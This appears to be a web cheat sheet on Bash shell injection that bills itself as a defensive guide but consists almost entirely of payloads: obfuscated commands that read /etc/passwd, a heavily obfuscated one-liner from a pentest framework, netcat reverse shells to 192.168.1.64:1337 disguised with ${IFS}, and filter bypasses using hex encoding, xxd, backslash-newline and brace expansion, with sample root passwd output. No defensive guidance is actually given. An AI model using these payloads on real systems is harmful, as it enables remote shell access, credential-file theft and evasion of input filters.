Shell Injection Techniques: Preventing Vulnerabilities in Bash Scripts
A practical, security-focused guide to shell injection techniques in Bash. Covers command substitution, parameter expansion abuse, obfuscation methods, filter bypasses, and real-world exploitation patterns—paired with defensive strategies to prevent injection vulnerabilities in scripts and systems
Command execution via process substitution
eval <(ls)
Parameter expansion with default value fallback
echo "Your home directory is: ${HOME:-/home/$USER}."
Indirect variable expansion (name reference leak)
echo ${!BASH*}
Obfuscated command execution using case transformation
eval "$(E3LFbgu='CAT /ETC/PASSWD';printf %s "${E3LFbgu~~}")"
Deliberately Obfuscated Shell Command
This oneliner I found on GitHub in a bash framework designed for penetration testers. It's a fascinating example of how shell scripting can be obfuscated. Let's break this down and understand its components:
-
Parameter Expansions:
$@, ${*}, ${@~~ }, and similar constructs, are examples of parameter expansions in bash.$@and${*}both refer to all positional parameters passed to the script. However, their behavior diverges when quoted.$@expands each parameter as a separate word, while${*}consolidates them into a single word. -
Escape Sequences:
\p, \r, \n, and the like, are escape sequences used in shell scripting. They represent control characters like newline (\n), carriage return (\r), and others, which are used for formatting output in the terminal. -
String Manipulation:
The script uses various forms of string manipulation such as${@,, },${*%%+Y,B;pv },${@%%@cil:\}W }, and so on. These are sophisticated methods for substring removal or case modification within the values of the parameters. -
Command Misdirection:
The presence ofCAT /ETC/PASSWDis intriguing. Normally, one would usecat /etc/passwdto read the system's user account information. However, this command is written in a non-standard way, possibly to evade detection or as a part of the obfuscation. -
Pattern Replacement:
${*//^PNN },${@//6?*G.\)\/LJ\[k3 }, and similar constructs are examples of pattern replacement within the parameter expansions. They are used to modify the contents of parameters based on specified patterns. -
ANSI-C Quoting:
$'\x62''a'shis an example of ANSI-C quoting combined with string concatenation. This is a clever way to represent the commandbashin a non-obvious manner.
Here's the complete script for reference:
$@ "${@~~ }" \p${@,, }r""i${*, }n${*%%+Y,B;pv }t${@%%@cil:\}W }f %s "$( _aWJ5_a='CAT /ETC/PASSWD' "${@%%B6qv#j@= }" ${*/+Re\ew? } && ${@%^JjcVY:I } p\r"i"${*}n't'f %s "${_aWJ5_a~~}" ${ @%%Vm\)?X } \$@ ${*//^PNN } )" ${@//6?*G.\)\/LJ\[k3 } | "${@~~ }" $* $'\x62''a'sh ${*/9\[>f } ${*~ }
Command execution via IFS-based argument injection (netcat reverse shell)
${IFS}nc${IFS}192.168.1.64${IFS}1337${IFS}-e${IFS}/bin/sh${IFS}
Command substitution with IFS obfuscation (backticks)
echo `nc${IFS}192.168.1.64${IFS}1337${IFS}-e${IFS}/bin/sh`
Backtick command substitution hidden in quote confusion
"'''''''''''''`ls`"""""""""""""""
Command substitution via backticks inside mixed quoting
"`ls`"""""""""""""""
Command substitution via backticks inside double quotes
"`ls`"""
Command substitution via backticks (quoted)
"`ls`"
Command substitution via backticks (unquoted)
`ls`
Command substitution using $() syntax
$(ls) # $()
Command chaining via command separator (;)
ls; id # ;
Command injection via parameter expansion and IFS reconstruction
ls${LS_COLORS:10:1}${IFS}id
Bypass with backslash newline
$ cat /et\
c/pa\
sswd
URL encoded form would look like this
cat%20/et%5C%0Ac/pa%5C%0Asswd
Bypass characters filter via hex encoding
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash
xxd -r -p <<< 2f6574632f706173737764
/etc/passwd
cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash
xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
Filter Bypasses
$IFS is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret $IFS as a space. $IFS does not directly work as a seperator in commands like ls, wget; use ${IFS} instead.
cat${IFS}/etc/passwd
ls${IFS}-la
In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
{cat,/etc/passwd}
Input redirection. The < character tells the shell to read the contents of the file specified. ANSI-C Quoting
X=$'uname\x20-a'&&$X